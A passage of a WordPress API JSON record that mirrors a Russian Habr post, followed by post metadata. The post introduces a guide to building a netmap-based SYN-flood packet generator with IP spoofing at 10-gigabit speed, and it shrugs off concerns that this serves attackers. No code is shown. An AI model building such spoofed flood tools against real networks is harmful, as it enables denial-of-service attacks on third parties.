\u044f \u043f\u0440\u0438\u0448\u0451\u043b \u043d\u0430 \u0445\u0430\u0431\u0440 \u0441\u043e \u0441\u0442\u0430\u0442\u044c\u0451\u0439 &quot;<a href=\"http:\/\/habrahabr.ru\/post\/183692\/\">TCP(syn-flood)-netmap-generator \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e 1,5 mpps<\/a>&quot;, \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u043d\u043e\u0433\u0438\u0435 \u043f\u0438\u0441\u0430\u043b\u0438 \u0438 \u0434\u0430\u0436\u0435 \u0437\u0432\u043e\u043d\u0438\u043b\u0438 \u0441 \u043f\u0440\u043e\u0441\u044c\u0431\u043e\u0439 \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u00ab\u0432\u0438\u043b\u043a\u0438\u00bb \u0441\u043e \u0441\u043f\u0443\u0444\u0444\u0438\u043d\u0433\u043e\u043c \u043d\u0430 \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 10GB \u0441\u0435\u0442\u0438. \u042f \u0432\u0441\u0435\u043c \u043e\u0431\u0435\u0449\u0430\u043b, \u0430 \u0440\u0443\u043a\u0438 \u0432\u0441\u0451 \u043d\u0435 \u0434\u043e\u0445\u043e\u0434\u0438\u043b\u0438.<br \/>  \u041a\u0442\u043e-\u0442\u043e \u0441\u043a\u0430\u0436\u0435\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432, \u043d\u043e \u0432\u0435\u0434\u044c \u0441\u0432\u0438\u043d\u044c\u044f \u0433\u0440\u044f\u0437\u0438 \u043d\u0430\u0439\u0434\u0451\u0442, \u0430 \u0442\u0435 \u043a\u043e\u043c\u0443 \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u043e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0432 \u0431\u043b\u0430\u0433\u043e\u043d\u0430\u0434\u0451\u0436\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445 \u043c\u043e\u0433\u0443 \u043e\u0441\u0442\u0430\u0442\u044c\u0441\u044f \u043d\u0438 \u0441 \u0447\u0435\u043c.<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/7dd\/16f\/3d1\/7dd16f3d1900f29140050aa60d4de37c.jpg\" alt=\"image\"\/>  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-229733","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/229733","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=229733"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/229733\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=229733"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=229733"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=229733"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}